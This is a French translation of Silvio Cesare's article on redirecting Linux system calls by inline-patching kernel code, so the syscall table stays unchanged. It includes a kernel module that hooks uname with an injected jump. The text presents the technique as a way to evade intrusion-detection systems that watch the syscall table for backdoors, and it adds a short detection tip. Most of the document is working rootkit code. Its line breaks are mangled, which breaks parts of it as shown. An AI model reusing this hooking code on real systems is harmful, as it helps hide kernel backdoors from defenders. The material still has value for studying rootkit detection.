Redirection Syscall sans modification de
Sycall Table.
- Silvio Cesare
<silvio@big.net.au>
- Translation eberkut
<eberkut@nexen.net>
(oui
j'avoue,
je me suis
pas
foulé)
Cet article décrit une technique de redirection des appels système sans
modifier la table d'appel système (implémenté dans Linux). Ceci peut être
utilisé pour éviter les systèmes de détection d'intrusion qui utilisent la
table d'appel système pour enregistrer les appels système redirigés ou
backdoorés. Il y a cependant un modification facile à faire pour détecter
l'attaque mise en application dans cet article. Les prémisses de base derrière
cette attaque sont de modifier le vieux code d'appel système pour sauter le
nouvel appel système, ainsi le contrôle est transféré à l'appel system de
remplacement et la table syscall est laissé intacte. Si c'est la seule procédure
suivie, le vieil appel système est laissé dans un état démoli, et il est
dangereux de l'exécuter, ainsi le code initial est sauvegardé quand l'appel
système est fait. Le code initial substitue le saut et l'appel système agit
normalement. Après ceci, le saut peut alors être inséré
(overwriter) encore
en attendant la prochaine utilisation. Détecter cette attaque signifie que les
premiers octets des appels système initiaux devraient être sauvegardés et
puis comparés pour vérifier qu'en effet l'appel système initial est en place.
-- stealth_syscall.c (Linux 2.0.35)
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <asm/string.h>
#include <asm/unistd.h>
#define SYSCALL_NR
__NR_uname
static char
syscall_code[7];
static char
new_syscall_code[7] =
"\xbd\x00\x00\x00\x00" /* movl
$0,%ebp */
"\xff\xe5" /* jmp
*%ebp */
;
extern void
*sys_call_table[];
void *_memcpy(void
*dest, const void
*src, int size)
{
const char *p =
src;
char *q =
dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return
dest;
}
/*
uname
*/
int
new_syscall(struct new_utsname
*buf)
{
printk(KERN_INFO "UNAME - Silvio Cesare\n");
_memcpy(
sys_call_table[SYSCALL_NR],
syscall_code,
sizeof(syscall_code)
);
((int (*)(struct new_utsname
*))sys_call_table[SYSCALL_NR])(buf);
_memcpy(
sys_call_table[SYSCALL_NR],
new_syscall_code,
sizeof(syscall_code)
);
}
int
init_module(void)
{
*(long *)&new_syscall_code[1] =
(long)new_syscall;
_memcpy(
syscall_code,
sys_call_table[SYSCALL_NR],
sizeof(syscall_code)
);
_memcpy(
sys_call_table[SYSCALL_NR],
new_syscall_code,
sizeof(syscall_code)
);
return 0;
}
void
cleanup_module(void)
{
_memcpy(
sys_call_table[SYSCALL_NR],
syscall_code,
sizeof(syscall_code)
);
}